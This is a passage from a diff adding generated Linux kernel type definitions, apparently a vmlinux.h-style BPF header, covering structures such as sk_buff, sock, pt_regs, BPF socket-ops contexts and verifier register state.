+ struct bpf_core_accessor spec[64]; + __u32 root_type_id; + enum bpf_core_relo_kind relo_kind; + int len; + int raw_spec[64]; + int raw_len; + __u32 bit_offset; +}; + +struct bpf_cpu_map_entry; + +struct bpf_cpu_map { + struct bpf_map map; + struct bpf_cpu_map_entry __attribute__((btf_type_tag("rcu"))) **cpu_map; +}; + +struct bpf_cpumap_val { + __u32 qsize; + union { + int fd; + __u32 id; + } bpf_prog; +}; + +struct xdp_bulk_queue; + +struct ptr_ring; + +struct bpf_cpu_map_entry { + u32 cpu; + int map_id; + struct xdp_bulk_queue __attribute__((btf_type_tag("percpu"))) *bulkq; + struct ptr_ring *queue; + struct task_struct *kthread; + struct bpf_cpumap_val value; + struct bpf_prog *prog; + struct completion kthread_running; + struct rcu_work free_work; +}; + +struct bpf_cpumask { + cpumask_t cpumask; + refcount_t usage; +}; + +struct bpf_crypto_type; + +struct bpf_crypto_ctx { + const struct bpf_crypto_type *type; + void *tfm; + u32 siv_len; + struct callback_head rcu; + refcount_t usage; +}; + +struct bpf_crypto_params { + char type[14]; + u8 reserved[2]; + char algo[128]; + u8 key[256]; + u32 key_len; + u32 authsize; +}; + +struct bpf_crypto_type { + void * (*alloc_tfm)(const char *); + void (*free_tfm)(void *); + int (*has_algo)(const char *); + int (*setkey)(void *, const u8 *, unsigned int); + int (*setauthsize)(void *, unsigned int); + int (*encrypt)(void *, const u8 *, u8 *, unsigned int, u8 *); + int (*decrypt)(void *, const u8 *, u8 *, unsigned int, u8 *); + unsigned int (*ivsize)(void *); + unsigned int (*statesize)(void *); + u32 (*get_flags)(void *); + struct module *owner; + char name[14]; +}; + +struct bpf_crypto_type_list { + const struct bpf_crypto_type *type; + struct list_head list; +}; + +struct bpf_ct_opts { + s32 netns_id; + s32 error; + u8 l4proto; + u8 dir; + u16 ct_zone_id; + u8 ct_zone_dir; + u8 reserved[3]; +}; + +struct bpf_ctx_arg_aux { + u32 offset; + enum bpf_reg_type reg_type; + struct btf *btf; + u32 btf_id; +}; + +struct sock; + +struct skb_ext; + +struct sk_buff { + union { + struct { + struct sk_buff *next; + struct sk_buff *prev; + union { + struct net_device *dev; + unsigned long dev_scratch; + }; + }; + struct rb_node rbnode; + struct list_head list; + struct llist_node ll_node; + }; + struct sock *sk; + union { + ktime_t tstamp; + u64 skb_mstamp_ns; + }; + char cb[48]; + union { + struct { + unsigned long _skb_refdst; + void (*destructor)(struct sk_buff *); + }; + struct list_head tcp_tsorted_anchor; + unsigned long _sk_redir; + }; + unsigned long _nfct; + unsigned int len; + unsigned int data_len; + __u16 mac_len; + __u16 hdr_len; + __u16 queue_mapping; + __u8 __cloned_offset[0]; + __u8 cloned: 1; + __u8 nohdr: 1; + __u8 fclone: 2; + __u8 peeked: 1; + __u8 head_frag: 1; + __u8 pfmemalloc: 1; + __u8 pp_recycle: 1; + __u8 active_extensions; + union { + struct { + __u8 __pkt_type_offset[0]; + __u8 pkt_type: 3; + __u8 ignore_df: 1; + __u8 dst_pending_confirm: 1; + __u8 ip_summed: 2; + __u8 ooo_okay: 1; + __u8 __mono_tc_offset[0]; + __u8 tstamp_type: 2; + __u8 tc_at_ingress: 1; + __u8 tc_skip_classify: 1; + __u8 remcsum_offload: 1; + __u8 csum_complete_sw: 1; + __u8 csum_level: 2; + __u8 inner_protocol_type: 1; + __u8 l4_hash: 1; + __u8 sw_hash: 1; + __u8 wifi_acked_valid: 1; + __u8 wifi_acked: 1; + __u8 no_fcs: 1; + __u8 encapsulation: 1; + __u8 encap_hdr_csum: 1; + __u8 csum_valid: 1; + __u8 ndisc_nodetype: 2; + __u8 nf_trace: 1; + __u8 redirected: 1; + __u8 slow_gro: 1; + __u8 unreadable: 1; + __u16 tc_index; + u16 alloc_cpu; + union { + __wsum csum; + struct { + __u16 csum_start; + __u16 csum_offset; + }; + }; + __u32 priority; + int skb_iif; + __u32 hash; + union { + u32 vlan_all; + struct { + __be16 vlan_proto; + __u16 vlan_tci; + }; + }; + union { + unsigned int napi_id; + unsigned int sender_cpu; + }; + union { + __u32 mark; + __u32 reserved_tailroom; + }; + union { + __be16 inner_protocol; + __u8 inner_ipproto; + }; + __u16 inner_transport_header; + __u16 inner_network_header; + __u16 inner_mac_header; + __be16 protocol; + __u16 transport_header; + __u16 network_header; + __u16 mac_header; + }; + struct { + __u8 __pkt_type_offset[0]; + __u8 pkt_type: 3; + __u8 ignore_df: 1; + __u8 dst_pending_confirm: 1; + __u8 ip_summed: 2; + __u8 ooo_okay: 1; + __u8 __mono_tc_offset[0]; + __u8 tstamp_type: 2; + __u8 tc_at_ingress: 1; + __u8 tc_skip_classify: 1; + __u8 remcsum_offload: 1; + __u8 csum_complete_sw: 1; + __u8 csum_level: 2; + __u8 inner_protocol_type: 1; + __u8 l4_hash: 1; + __u8 sw_hash: 1; + __u8 wifi_acked_valid: 1; + __u8 wifi_acked: 1; + __u8 no_fcs: 1; + __u8 encapsulation: 1; + __u8 encap_hdr_csum: 1; + __u8 csum_valid: 1; + __u8 ndisc_nodetype: 2; + __u8 nf_trace: 1; + __u8 redirected: 1; + __u8 slow_gro: 1; + __u8 unreadable: 1; + __u16 tc_index; + u16 alloc_cpu; + union { + __wsum csum; + struct { + __u16 csum_start; + __u16 csum_offset; + }; + }; + __u32 priority; + int skb_iif; + __u32 hash; + union { + u32 vlan_all; + struct { + __be16 vlan_proto; + __u16 vlan_tci; + }; + }; + union { + unsigned int napi_id; + unsigned int sender_cpu; + }; + union { + __u32 mark; + __u32 reserved_tailroom; + }; + union { + __be16 inner_protocol; + __u8 inner_ipproto; + }; + __u16 inner_transport_header; + __u16 inner_network_header; + __u16 inner_mac_header; + __be16 protocol; + __u16 transport_header; + __u16 network_header; + __u16 mac_header; + } headers; + }; + sk_buff_data_t tail; + sk_buff_data_t end; + unsigned char *head; + unsigned char *data; + unsigned int truesize; + refcount_t users; + struct skb_ext *extensions; +}; + +struct xdp_md { + __u32 data; + __u32 data_end; + __u32 data_meta; + __u32 ingress_ifindex; + __u32 rx_queue_index; + __u32 egress_ifindex; +}; + +struct xdp_rxq_info; + +struct xdp_txq_info; + +struct xdp_buff { + void *data; + void *data_end; + void *data_meta; + void *data_hard_start; + struct xdp_rxq_info *rxq; + struct xdp_txq_info *txq; + u32 frame_sz; + u32 flags; +}; + +struct bpf_sock { + __u32 bound_dev_if; + __u32 family; + __u32 type; + __u32 protocol; + __u32 mark; + __u32 priority; + __u32 src_ip4; + __u32 src_ip6[4]; + __u32 src_port; + __be16 dst_port; + __u32 dst_ip4; + __u32 dst_ip6[4]; + __u32 state; + __s32 rx_queue_mapping; +}; + +struct in6_addr { + union { + __u8 u6_addr8[16]; + __be16 u6_addr16[8]; + __be32 u6_addr32[4]; + } in6_u; +}; + +struct hlist_nulls_node { + struct hlist_nulls_node *next; + struct hlist_nulls_node **pprev; +}; + +struct proto; + +struct inet_timewait_death_row; + +struct sock_common { + union { + __addrpair skc_addrpair; + struct { + __be32 skc_daddr; + __be32 skc_rcv_saddr; + }; + }; + union { + unsigned int skc_hash; + __u16 skc_u16hashes[2]; + }; + union { + __portpair skc_portpair; + struct { + __be16 skc_dport; + __u16 skc_num; + }; + }; + unsigned short skc_family; + volatile unsigned char skc_state; + unsigned char skc_reuse: 4; + unsigned char skc_reuseport: 1; + unsigned char skc_ipv6only: 1; + unsigned char skc_net_refcnt: 1; + int skc_bound_dev_if; + union { + struct hlist_node skc_bind_node; + struct hlist_node skc_portaddr_node; + }; + struct proto *skc_prot; + possible_net_t skc_net; + struct in6_addr skc_v6_daddr; + struct in6_addr skc_v6_rcv_saddr; + atomic64_t skc_cookie; + union { + unsigned long skc_flags; + struct sock *skc_listener; + struct inet_timewait_death_row *skc_tw_dr; + }; + int skc_dontcopy_begin[0]; + union { + struct hlist_node skc_node; + struct hlist_nulls_node skc_nulls_node; + }; + unsigned short skc_tx_queue_mapping; + unsigned short skc_rx_queue_mapping; + union { + int skc_incoming_cpu; + u32 skc_rcv_wnd; + u32 skc_tw_rcv_nxt; + }; + refcount_t skc_refcnt; + int skc_dontcopy_end[0]; + union { + u32 skc_rxhash; + u32 skc_window_clamp; + u32 skc_tw_snd_nxt; + }; +}; + +struct page_frag { + struct page *page; + __u32 offset; + __u32 size; +}; + +struct sock_cgroup_data { + struct cgroup *cgroup; + u32 classid; +}; + +struct dst_entry; + +struct sk_filter; + +struct socket_wq; + +struct socket; + +struct mem_cgroup; + +struct sock_reuseport; + +struct bpf_local_storage; + +struct sock { + struct sock_common __sk_common; + __u8 __cacheline_group_begin__sock_write_rx[0]; + atomic_t sk_drops; + __s32 sk_peek_off; + struct sk_buff_head sk_error_queue; + struct sk_buff_head sk_receive_queue; + struct { + atomic_t rmem_alloc; + int len; + struct sk_buff *head; + struct sk_buff *tail; + } sk_backlog; + __u8 __cacheline_group_end__sock_write_rx[0]; + __u8 __cacheline_group_begin__sock_read_rx[0]; + struct dst_entry __attribute__((btf_type_tag("rcu"))) *sk_rx_dst; + int sk_rx_dst_ifindex; + u32 sk_rx_dst_cookie; + unsigned int sk_ll_usec; + unsigned int sk_napi_id; + u16 sk_busy_poll_budget; + u8 sk_prefer_busy_poll; + u8 sk_userlocks; + int sk_rcvbuf; + struct sk_filter __attribute__((btf_type_tag("rcu"))) *sk_filter; + union { + struct socket_wq __attribute__((btf_type_tag("rcu"))) *sk_wq; + struct socket_wq *sk_wq_raw; + }; + void (*sk_data_ready)(struct sock *); + long sk_rcvtimeo; + int sk_rcvlowat; + __u8 __cacheline_group_end__sock_read_rx[0]; + __u8 __cacheline_group_begin__sock_read_rxtx[0]; + int sk_err; + struct socket *sk_socket; + struct mem_cgroup *sk_memcg; + __u8 __cacheline_group_end__sock_read_rxtx[0]; + __u8 __cacheline_group_begin__sock_write_rxtx[0]; + socket_lock_t sk_lock; + u32 sk_reserved_mem; + int sk_forward_alloc; + u32 sk_tsflags; + __u8 __cacheline_group_end__sock_write_rxtx[0]; + __u8 __cacheline_group_begin__sock_write_tx[0]; + int sk_write_pending; + atomic_t sk_omem_alloc; + int sk_sndbuf; + int sk_wmem_queued; + refcount_t sk_wmem_alloc; + unsigned long sk_tsq_flags; + union { + struct sk_buff *sk_send_head; + struct rb_root tcp_rtx_queue; + }; + struct sk_buff_head sk_write_queue; + u32 sk_dst_pending_confirm; + u32 sk_pacing_status; + struct page_frag sk_frag; + struct timer_list sk_timer; + unsigned long sk_pacing_rate; + atomic_t sk_zckey; + atomic_t sk_tskey; + __u8 __cacheline_group_end__sock_write_tx[0]; + __u8 __cacheline_group_begin__sock_read_tx[0]; + unsigned long sk_max_pacing_rate; + long sk_sndtimeo; + u32 sk_priority; + u32 sk_mark; + struct dst_entry __attribute__((btf_type_tag("rcu"))) *sk_dst_cache; + netdev_features_t sk_route_caps; + u16 sk_gso_type; + u16 sk_gso_max_segs; + unsigned int sk_gso_max_size; + gfp_t sk_allocation; + u32 sk_txhash; + u8 sk_pacing_shift; + bool sk_use_task_frag; + __u8 __cacheline_group_end__sock_read_tx[0]; + u8 sk_gso_disabled: 1; + u8 sk_kern_sock: 1; + u8 sk_no_check_tx: 1; + u8 sk_no_check_rx: 1; + u8 sk_shutdown; + u16 sk_type; + u16 sk_protocol; + unsigned long sk_lingertime; + struct proto *sk_prot_creator; + rwlock_t sk_callback_lock; + int sk_err_soft; + u32 sk_ack_backlog; + u32 sk_max_ack_backlog; + kuid_t sk_uid; + spinlock_t sk_peer_lock; + int sk_bind_phc; + struct pid *sk_peer_pid; + const struct cred *sk_peer_cred; + ktime_t sk_stamp; + int sk_disconnects; + u8 sk_txrehash; + u8 sk_clockid; + u8 sk_txtime_deadline_mode: 1; + u8 sk_txtime_report_errors: 1; + u8 sk_txtime_unused: 6; + void *sk_user_data; + struct sock_cgroup_data sk_cgrp_data; + void (*sk_state_change)(struct sock *); + void (*sk_write_space)(struct sock *); + void (*sk_error_report)(struct sock *); + int (*sk_backlog_rcv)(struct sock *, struct sk_buff *); + void (*sk_destruct)(struct sock *); + struct sock_reuseport __attribute__((btf_type_tag("rcu"))) *sk_reuseport_cb; + struct bpf_local_storage __attribute__((btf_type_tag("rcu"))) *sk_bpf_storage; + struct callback_head sk_rcu; + netns_tracker ns_tracker; + struct xarray sk_user_frags; +}; + +struct bpf_sock_addr { + __u32 user_family; + __u32 user_ip4; + __u32 user_ip6[4]; + __u32 user_port; + __u32 family; + __u32 type; + __u32 protocol; + __u32 msg_src_ip4; + __u32 msg_src_ip6[4]; + union { + struct bpf_sock *sk; + }; +}; + +struct bpf_sock_addr_kern { + struct sock *sk; + struct sockaddr *uaddr; + u64 tmp_reg; + void *t_ctx; + u32 uaddrlen; +}; + +struct bpf_sock_ops { + __u32 op; + union { + __u32 args[4]; + __u32 reply; + __u32 replylong[4]; + }; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 is_fullsock; + __u32 snd_cwnd; + __u32 srtt_us; + __u32 bpf_sock_ops_cb_flags; + __u32 state; + __u32 rtt_min; + __u32 snd_ssthresh; + __u32 rcv_nxt; + __u32 snd_nxt; + __u32 snd_una; + __u32 mss_cache; + __u32 ecn_flags; + __u32 rate_delivered; + __u32 rate_interval_us; + __u32 packets_out; + __u32 retrans_out; + __u32 total_retrans; + __u32 segs_in; + __u32 data_segs_in; + __u32 segs_out; + __u32 data_segs_out; + __u32 lost_out; + __u32 sacked_out; + __u32 sk_txhash; + __u64 bytes_received; + __u64 bytes_acked; + union { + struct bpf_sock *sk; + }; + union { + void *skb_data; + }; + union { + void *skb_data_end; + }; + __u32 skb_len; + __u32 skb_tcp_flags; + __u64 skb_hwtstamp; +}; + +struct bpf_sock_ops_kern { + struct sock *sk; + union { + u32 args[4]; + u32 reply; + u32 replylong[4]; + }; + struct sk_buff *syn_skb; + struct sk_buff *skb; + void *skb_data_end; + u8 op; + u8 is_fullsock; + u8 remaining_opt_len; + u64 temp; +}; + +struct sk_msg_md { + union { + void *data; + }; + union { + void *data_end; + }; + __u32 family; + __u32 remote_ip4; + __u32 local_ip4; + __u32 remote_ip6[4]; + __u32 local_ip6[4]; + __u32 remote_port; + __u32 local_port; + __u32 size; + union { + struct bpf_sock *sk; + }; +}; + +struct sk_msg_sg { + u32 start; + u32 curr; + u32 end; + u32 size; + u32 copybreak; + unsigned long copy[1]; + struct scatterlist data[19]; +}; + +struct sk_msg { + struct sk_msg_sg sg; + void *data; + void *data_end; + u32 apply_bytes; + u32 cork_bytes; + u32 flags; + struct sk_buff *skb; + struct sock *sk_redir; + struct sock *sk; + struct list_head list; +}; + +struct bpf_flow_dissector { + struct bpf_flow_keys *flow_keys; + const struct sk_buff *skb; + const void *data; + const void *data_end; +}; + +struct fred_cs { + u64 cs: 16; + u64 sl: 2; + u64 wfe: 1; +}; + +struct fred_ss { + u64 ss: 16; + u64 sti: 1; + u64 swevent: 1; + u64 nmi: 1; + int: 13; + u64 vector: 8; + short: 8; + u64 type: 4; + char: 4; + u64 enclave: 1; + u64 lm: 1; + u64 nested: 1; + char: 1; + u64 insnlen: 4; +}; + +struct pt_regs { + unsigned long r15; + unsigned long r14; + unsigned long r13; + unsigned long r12; + unsigned long bp; + unsigned long bx; + unsigned long r11; + unsigned long r10; + unsigned long r9; + unsigned long r8; + unsigned long ax; + unsigned long cx; + unsigned long dx; + unsigned long si; + unsigned long di; + unsigned long orig_ax; + unsigned long ip; + union { + u16 cs; + u64 csx; + struct fred_cs fred_cs; + }; + unsigned long flags; + unsigned long sp; + union { + u16 ss; + u64 ssx; + struct fred_ss fred_ss; + }; +}; + +typedef struct pt_regs bpf_user_pt_regs_t; + +struct bpf_perf_event_data { + bpf_user_pt_regs_t regs; + __u64 sample_period; + __u64 addr; +}; + +struct perf_sample_data; + +struct bpf_perf_event_data_kern { + bpf_user_pt_regs_t *regs; + struct perf_sample_data *data; + struct perf_event *event; +}; + +struct bpf_raw_tracepoint_args { + __u64 args[0]; +}; + +struct bpf_sysctl { + __u32 write; + __u32 file_pos; +}; + +struct ctl_table_header; + +struct ctl_table; + +struct bpf_sysctl_kern { + struct ctl_table_header *head; + const struct ctl_table *table; + void *cur_val; + size_t cur_len; + void *new_val; + size_t new_len; + int new_updated; + int write; + loff_t *ppos; + u64 tmp_reg; +}; + +struct bpf_sockopt { + union { + struct bpf_sock *sk; + }; + union { + void *optval; + }; + union { + void *optval_end; + }; + __s32 level; + __s32 optname; + __s32 optlen; + __s32 retval; +}; + +struct bpf_sockopt_kern { + struct sock *sk; + u8 *optval; + u8 *optval_end; + s32 level; + s32 optname; + s32 optlen; + struct task_struct *current_task; + u64 tmp_reg; +}; + +struct sk_reuseport_md { + union { + void *data; + }; + union { + void *data_end; + }; + __u32 len; + __u32 eth_protocol; + __u32 ip_protocol; + __u32 bind_inany; + __u32 hash; + union { + struct bpf_sock *sk; + }; + union { + struct bpf_sock *migrating_sk; + }; +}; + +struct sk_reuseport_kern { + struct sk_buff *skb; + struct sock *sk; + struct sock *selected_sk; + struct sock *migrating_sk; + void *data_end; + u32 hash; + u32 reuseport_id; + bool bind_inany; +}; + +struct bpf_sk_lookup { + union { + union { + struct bpf_sock *sk; + }; + __u64 cookie; + }; + __u32 family; + __u32 protocol; + __u32 remote_ip4; + __u32 remote_ip6[4]; + __be16 remote_port; + __u32 local_ip4; + __u32 local_ip6[4]; + __u32 local_port; + __u32 ingress_ifindex; +}; + +struct bpf_sk_lookup_kern { + u16 family; + u16 protocol; + __be16 sport; + u16 dport; + struct { + __be32 saddr; + __be32 daddr; + } v4; + struct { + const struct in6_addr *saddr; + const struct in6_addr *daddr; + } v6; + struct sock *selected_sk; + u32 ingress_ifindex; + bool no_reuseport; +}; + +struct nf_hook_state; + +struct bpf_nf_ctx { + const struct nf_hook_state *state; + struct sk_buff *skb; +}; + +struct bpf_ctx_convert { + struct __sk_buff BPF_PROG_TYPE_SOCKET_FILTER_prog; + struct sk_buff BPF_PROG_TYPE_SOCKET_FILTER_kern; + struct __sk_buff BPF_PROG_TYPE_SCHED_CLS_prog; + struct sk_buff BPF_PROG_TYPE_SCHED_CLS_kern; + struct __sk_buff BPF_PROG_TYPE_SCHED_ACT_prog; + struct sk_buff BPF_PROG_TYPE_SCHED_ACT_kern; + struct xdp_md BPF_PROG_TYPE_XDP_prog; + struct xdp_buff BPF_PROG_TYPE_XDP_kern; + struct __sk_buff BPF_PROG_TYPE_CGROUP_SKB_prog; + struct sk_buff BPF_PROG_TYPE_CGROUP_SKB_kern; + struct bpf_sock BPF_PROG_TYPE_CGROUP_SOCK_prog; + struct sock BPF_PROG_TYPE_CGROUP_SOCK_kern; + struct bpf_sock_addr BPF_PROG_TYPE_CGROUP_SOCK_ADDR_prog; + struct bpf_sock_addr_kern BPF_PROG_TYPE_CGROUP_SOCK_ADDR_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_IN_prog; + struct sk_buff BPF_PROG_TYPE_LWT_IN_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_OUT_prog; + struct sk_buff BPF_PROG_TYPE_LWT_OUT_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_XMIT_prog; + struct sk_buff BPF_PROG_TYPE_LWT_XMIT_kern; + struct __sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_prog; + struct sk_buff BPF_PROG_TYPE_LWT_SEG6LOCAL_kern; + struct bpf_sock_ops BPF_PROG_TYPE_SOCK_OPS_prog; + struct bpf_sock_ops_kern BPF_PROG_TYPE_SOCK_OPS_kern; + struct __sk_buff BPF_PROG_TYPE_SK_SKB_prog; + struct sk_buff BPF_PROG_TYPE_SK_SKB_kern; + struct sk_msg_md BPF_PROG_TYPE_SK_MSG_prog; + struct sk_msg BPF_PROG_TYPE_SK_MSG_kern; + struct __sk_buff BPF_PROG_TYPE_FLOW_DISSECTOR_prog; + struct bpf_flow_dissector BPF_PROG_TYPE_FLOW_DISSECTOR_kern; + bpf_user_pt_regs_t BPF_PROG_TYPE_KPROBE_prog; + struct pt_regs BPF_PROG_TYPE_KPROBE_kern; + __u64 BPF_PROG_TYPE_TRACEPOINT_prog; + u64 BPF_PROG_TYPE_TRACEPOINT_kern; + struct bpf_perf_event_data BPF_PROG_TYPE_PERF_EVENT_prog; + struct bpf_perf_event_data_kern BPF_PROG_TYPE_PERF_EVENT_kern; + struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_prog; + u64 BPF_PROG_TYPE_RAW_TRACEPOINT_kern; + struct bpf_raw_tracepoint_args BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_prog; + u64 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE_kern; + void *BPF_PROG_TYPE_TRACING_prog; + void *BPF_PROG_TYPE_TRACING_kern; + struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_prog; + struct bpf_cgroup_dev_ctx BPF_PROG_TYPE_CGROUP_DEVICE_kern; + struct bpf_sysctl BPF_PROG_TYPE_CGROUP_SYSCTL_prog; + struct bpf_sysctl_kern BPF_PROG_TYPE_CGROUP_SYSCTL_kern; + struct bpf_sockopt BPF_PROG_TYPE_CGROUP_SOCKOPT_prog; + struct bpf_sockopt_kern BPF_PROG_TYPE_CGROUP_SOCKOPT_kern; + struct sk_reuseport_md BPF_PROG_TYPE_SK_REUSEPORT_prog; + struct sk_reuseport_kern BPF_PROG_TYPE_SK_REUSEPORT_kern; + struct bpf_sk_lookup BPF_PROG_TYPE_SK_LOOKUP_prog; + struct bpf_sk_lookup_kern BPF_PROG_TYPE_SK_LOOKUP_kern; + void *BPF_PROG_TYPE_STRUCT_OPS_prog; + void *BPF_PROG_TYPE_STRUCT_OPS_kern; + void *BPF_PROG_TYPE_EXT_prog; + void *BPF_PROG_TYPE_EXT_kern; + void *BPF_PROG_TYPE_SYSCALL_prog; + void *BPF_PROG_TYPE_SYSCALL_kern; + struct bpf_nf_ctx BPF_PROG_TYPE_NETFILTER_prog; + struct bpf_nf_ctx BPF_PROG_TYPE_NETFILTER_kern; +}; + +struct bpf_devmap_val { + __u32 ifindex; + union { + int fd; + __u32 id; + } bpf_prog; +}; + +struct bpf_dispatcher_prog { + struct bpf_prog *prog; + refcount_t users; +}; + +struct latch_tree_node { + struct rb_node node[2]; +}; + +struct bpf_ksym { + unsigned long start; + unsigned long end; + char name[512]; + struct list_head lnode; + struct latch_tree_node tnode; + bool prog; +}; + +struct static_call_key; + +struct bpf_dispatcher { + struct mutex mutex; + void *func; + struct bpf_dispatcher_prog progs[48]; + int num_progs; + void *image; + void *rw_image; + u32 image_off; + struct bpf_ksym ksym; + struct static_call_key *sc_key; + void *sc_tramp; +}; + +struct bpf_dtab_netdev; + +struct bpf_dtab { + struct bpf_map map; + struct bpf_dtab_netdev __attribute__((btf_type_tag("rcu"))) **netdev_map; + struct list_head list; + struct hlist_head *dev_index_head; + spinlock_t index_lock; + unsigned int items; + u32 n_buckets; +}; + +struct bpf_dtab_netdev { + struct net_device *dev; + struct hlist_node index_hlist; + struct bpf_prog *xdp_prog; + struct callback_head rcu; + unsigned int idx; + struct bpf_devmap_val val; +}; + +struct bpf_dummy_ops_state; + +struct bpf_dummy_ops { + int (*test_1)(struct bpf_dummy_ops_state *); + int (*test_2)(struct bpf_dummy_ops_state *, int, unsigned short, char, unsigned long); + int (*test_sleepable)(struct bpf_dummy_ops_state *); +}; + +struct bpf_dummy_ops_state { + int val; +}; + +struct bpf_dummy_ops_test_args { + u64 args[12]; + struct bpf_dummy_ops_state state; +}; + +struct bpf_dynptr { + __u64 __opaque[2]; +}; + +struct bpf_dynptr_kern { + void *data; + u32 size; + u32 offset; +}; + +struct bpf_prog_array_item { + struct bpf_prog *prog; + union { + struct bpf_cgroup_storage *cgroup_storage[2]; + u64 bpf_cookie; + }; +}; + +struct bpf_prog_array { + struct callback_head rcu; + struct bpf_prog_array_item items[0]; +}; + +struct bpf_empty_prog_array { + struct bpf_prog_array hdr; + struct bpf_prog *null_prog; +}; + +struct bpf_event_entry { + struct perf_event *event; + struct file *perf_file; + struct file *map_file; + struct callback_head rcu; +}; + +struct bpf_fentry_test_t { + struct bpf_fentry_test_t *a; +}; + +struct bpf_fib_lookup { + __u8 family; + __u8 l4_protocol; + __be16 sport; + __be16 dport; + union { + __u16 tot_len; + __u16 mtu_result; + }; + __u32 ifindex; + union { + __u8 tos; + __be32 flowinfo; + __u32 rt_metric; + }; + union { + __be32 ipv4_src; + __u32 ipv6_src[4]; + }; + union { + __be32 ipv4_dst; + __u32 ipv6_dst[4]; + }; + union { + struct { + __be16 h_vlan_proto; + __be16 h_vlan_TCI; + }; + __u32 tbid; + }; + union { + struct { + __u32 mark; + }; + struct { + __u8 smac[6]; + __u8 dmac[6]; + }; + }; +}; + +struct bpf_flow_keys { + __u16 nhoff; + __u16 thoff; + __u16 addr_proto; + __u8 is_frag; + __u8 is_first_frag; + __u8 is_encap; + __u8 ip_proto; + __be16 n_proto; + __be16 sport; + __be16 dport; + union { + struct { + __be32 ipv4_src; + __be32 ipv4_dst; + }; + struct { + __u32 ipv6_src[4]; + __u32 ipv6_dst[4]; + }; + }; + __u32 flags; + __be32 flow_label; +}; + +struct bpf_func_info { + __u32 insn_off; + __u32 type_id; +}; + +struct bpf_func_info_aux { + u16 linkage; + bool unreliable; + bool called: 1; + bool verified: 1; +}; + +struct bpf_func_proto { + u64 (*func)(u64, u64, u64, u64, u64); + bool gpl_only; + bool pkt_access; + bool might_sleep; + bool allow_fastcall; + enum bpf_return_type ret_type; + union { + struct { + enum bpf_arg_type arg1_type; + enum bpf_arg_type arg2_type; + enum bpf_arg_type arg3_type; + enum bpf_arg_type arg4_type; + enum bpf_arg_type arg5_type; + }; + enum bpf_arg_type arg_type[5]; + }; + union { + struct { + u32 *arg1_btf_id; + u32 *arg2_btf_id; + u32 *arg3_btf_id; + u32 *arg4_btf_id; + u32 *arg5_btf_id; + }; + u32 *arg_btf_id[5]; + struct { + size_t arg1_size; + size_t arg2_size; + size_t arg3_size; + size_t arg4_size; + size_t arg5_size; + }; + size_t arg_size[5]; + }; + int *ret_btf_id; + bool (*allowed)(const struct bpf_prog *); +}; + +struct tnum { + u64 value; + u64 mask; +}; + +struct bpf_reg_state { + enum bpf_reg_type type; + s32 off; + union { + int range; + struct { + struct bpf_map *map_ptr; + u32 map_uid; + }; + struct { + struct btf *btf; + u32 btf_id; + }; + struct { + u32 mem_size; + u32 dynptr_id; + }; + struct { + enum bpf_dynptr_type type; + bool first_slot; + } dynptr; + struct { + struct btf *btf; + u32 btf_id; + enum bpf_iter_state state: 2; + int depth: 30; + } iter; + struct { + unsigned long raw1; + unsigned long raw2; + } raw; + u32 subprogno; + }; + struct tnum var_off; + s64 smin_value; + s64 smax_value; + u64 umin_value; + u64 umax_value; + s32 s32_min_value; + s32 s32_max_value; + u32 u32_min_value; + u32 u32_max_value; + u32 id; + u32 ref_obj_id; + struct bpf_reg_state *parent; + u32 frameno; + s32 subreg_def; + enum bpf_reg_liveness live; + bool precise; +}; + +struct bpf_retval_range { + s32 minval; + s32 maxval; +}; + +struct bpf_reference_state; + +struct bpf_stack_state; + +struct bpf_func_state { + struct bpf_reg_state regs[11]; + int callsite; + u32 frameno; + u32 subprogno; + u32 async_entry_cnt; + struct bpf_retval_range callback_ret_range; + bool in_callback_fn; + bool in_async_callback_fn; + bool in_exception_callback_fn; + u32 callback_depth; + int acquired_refs; + struct bpf_reference_state *refs; + struct bpf_stack_state *stack; + int allocated_stack; +}; + +struct bpf_hrtimer { + struct bpf_async_cb cb; + struct hrtimer timer; + atomic_t cancelling; +}; + +struct bpf_mem_caches; + +struct bpf_mem_cache; + +struct bpf_mem_alloc { + struct bpf_mem_caches __attribute__((btf_type_tag("percpu"))) *caches; + struct bpf_mem_cache __attribute__((btf_type_tag("percpu"))) *cache; + struct obj_cgroup *objcg; + bool percpu; + struct work_struct work; +}; + +struct pcpu_freelist_node; + +struct pcpu_freelist_head { + struct pcpu_freelist_node *first; + raw_spinlock_t lock; +}; + +struct pcpu_freelist { + struct pcpu_freelist_head __attribute__((btf_type_tag("percpu"))) *freelist; + struct pcpu_freelist_head extralist; +}; + +struct bpf_lru_node; + +typedef bool (*del_from_htab_func)(void *, struct bpf_lru_node *); + +struct bpf_lru { + union { + struct bpf_common_lru common_lru; + struct bpf_lru_list __attribute__((btf_type_tag("percpu"))) *percpu_lru; + }; + del_from_htab_func del_from_htab; + void *del_arg; + unsigned int hash_offset; + unsigned int nr_scans; + bool percpu; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bucket; + +struct htab_elem; + +struct bpf_htab { + struct bpf_map map; + struct bpf_mem_alloc ma; + struct bpf_mem_alloc pcpu_ma; + struct bucket *buckets; + void *elems; + long: 64; + long: 64; + long: 64; + long: 64; + union { + struct pcpu_freelist freelist; + struct bpf_lru lru; + }; + struct htab_elem * __attribute__((btf_type_tag("percpu"))) *extra_elems; + struct percpu_counter pcount; + atomic_t count; + bool use_percpu_counter; + u32 n_buckets; + u32 elem_size; + u32 hashrnd; + struct lock_class_key lockdep_key; + int __attribute__((btf_type_tag("percpu"))) *map_locked[8]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct bpf_id_pair { + u32 old; + u32 cur; +}; + +struct bpf_idmap { + u32 tmp_id_gen; + struct bpf_id_pair map[600]; +}; + +struct bpf_idset { + u32 count; + u32 ids[600]; +}; + +struct bpf_insn { + __u8 code; + __u8 dst_reg: 4; + __u8 src_reg: 4; + __s16 off; + __s32 imm; +}; + +struct bpf_insn_access_aux { + enum bpf_reg_type reg_type; + bool is_ldsx; + union { + int ctx_field_size; + struct { + struct btf *btf; + u32 